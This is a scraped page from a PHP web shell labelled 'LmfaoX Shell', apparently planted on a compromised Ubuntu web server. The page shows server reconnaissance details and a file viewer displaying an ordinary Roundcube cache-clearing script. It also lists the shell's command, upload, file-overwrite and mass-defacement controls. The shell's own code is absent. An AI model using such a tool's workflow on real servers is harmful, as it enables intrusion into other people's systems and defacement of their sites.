ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.42 GB of 70.42 GB (33.26%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail.1/ program/ steps/ utils/ - drwxr-xr-x

Directory:
Viewing file:     killcache.inc (1.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*

 +-----------------------------------------------------------------------+
 | program/steps/utils/killcache.inc                                     |
 |                                                                       |
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2010, The Roundcube Dev Team                       |
 | Licensed under the GNU GPL                                            |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delete rows from cache tables                                       |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Dennis P. Nikolaenko <dennis@nikolaenko.ru>                   |
 +-----------------------------------------------------------------------+

 $Id: killcache.inc 5578 2011-12-09 07:23:04Z alec $

*/

// don't allow public access if not in devel_mode
if (!$RCMAIL->config->get('devel_mode')) {
    
header("HTTP/1.0 401 Access denied");
    die(
"Access denied!");
}

$options = array(
    
'use_transactions' => false,
    
'log_line_break' => "\n",
    
'idxname_format' => '%s',
    
'debug' => false,
    
'quote_identifier' => true,
    
'force_defaults' => false,
    
'portability' => true
);

// @TODO: transaction here (if supported by DB) would be a good thing
$res $RCMAIL->db->query("DELETE FROM cache");
if (
PEAR::isError($res)) {
    exit(
$res->getMessage());
}

$res $RCMAIL->db->query("DELETE FROM cache_messages");
if (
PEAR::isError($res)) {
    exit(
$res->getMessage());
}

$res $RCMAIL->db->query("DELETE FROM cache_index");
if (
PEAR::isError($res)) {
    exit(
$res->getMessage());
}

$res $RCMAIL->db->query("DELETE FROM cache_thread");
if (
PEAR::isError($res)) {
    exit(
$res->getMessage());
}

echo 
"Cache cleared\n";
exit;
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.4223 seconds